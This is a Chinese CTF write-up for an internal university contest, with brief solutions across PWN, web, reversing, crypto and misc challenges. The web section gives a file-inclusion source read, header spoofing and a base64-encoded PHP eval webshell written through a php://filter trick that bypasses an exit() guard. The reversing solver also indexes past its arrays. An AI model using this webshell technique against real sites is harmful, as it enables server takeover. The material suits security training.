WUST第一次內部賽 Writeup
PWN
just_run
nc之後ls,cat flag.txt
2048
利用了bug。。一次輸入很多個wasd用了幾分鐘刷分到了一萬分
WEB
簽到題
GET傳參ais=123,POST傳參ais=123,BP抓包把Referer改成https://www.baidu.com,加上Client-IP: 127.0.0.1
PHP是世界上最好的語言
在url最後加上/index.php,F12發現了提示
考點是文件包含
/index.php?file=php://filter/read=convert.base64-encode/resource=./index.php
base64解碼
/index.php?file=php://filter/read=convert.base64-encode/resource=./upload.php
base64解碼
死亡exit
找到了一篇博客
而這道題把?>用//註釋掉了,所以前面要補3個a才能湊成4的倍數
先把一句話木馬用base64編碼
在/upload.php頁面用POST方式構造如下payload,將一句話木馬寫入q.php
death=aaaPD9waHAKZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOwo/Pg==&filename=php://filter/write=convert.base64-decode/resource=q.php
用蟻劍連接http://148.70.205.134:10001/q.php,密碼是shell,在根目錄找到flag
RE
ez_py
在線pyc反編譯,在得到的原py文件最後加上一行print(encode(message))
baby_re
放進ida
點開check函數
可知check函數裏的a1是主函數輸入的字符串v4,是要通過check函數裏的數組v4逆向求得的,而數組v4和數組flag相等,點進flag,因爲是int類型,佔4個字節,所以通過按鍵盤的d鍵把所有的db都轉化爲dd形式
寫個腳本逆向求a1
#include<bits/stdc++.h>
using namespace std;
int main()
{
unsigned int a=16;
char a1[30];
int i;
unsigned long v4[30]={0x350,0x360,0x308,0x358,0x3F8,0x2B0,0x328,0x318,0x188,0x1A8,0x318,0x2B8,0x180,0x398,0x398,0x398,0x398,0x398,0x398,0x398,0x398,0x398,0x318,0x2B8,0x348,0x368,0x380,0x360,0x328,0x3E8};
for ( i = 0; i <= 30; ++i )
{
v4[i]^=a;
v4[i]-=16;
a1[i]=(char)(v4[i]/8);
}
for ( i = 0; i <= 30; ++i )
cout<<a1[i];
return 0;
}
CRYPTO
base64
在線base64轉換圖片得到壓縮包的解壓密碼
兔老大
在線rabbit解密,密鑰是rabbit,再base32解碼
easy_caesar
寫腳本把每個字符都-3移位,再base64解碼
MISC
Where_am_I
用PS打開圖片,用顏色取樣器工具得到兩塊圖片的RGB值,對應北緯和西經值,進入谷歌地圖搜索
40°41′21″N 74°02′40″W得到地點爲自由女神像
古老的計算機
用winhex或HXD打開圖片,最後有一段這個
在線敲擊碼解密,再寫腳本轉換成二進制01,再在線二進制轉字符串
double_flag
用HXD打開壓縮包,在開頭加上50 4B 03 04,解壓出另一張圖片,用Beyond Compare對比兩張圖片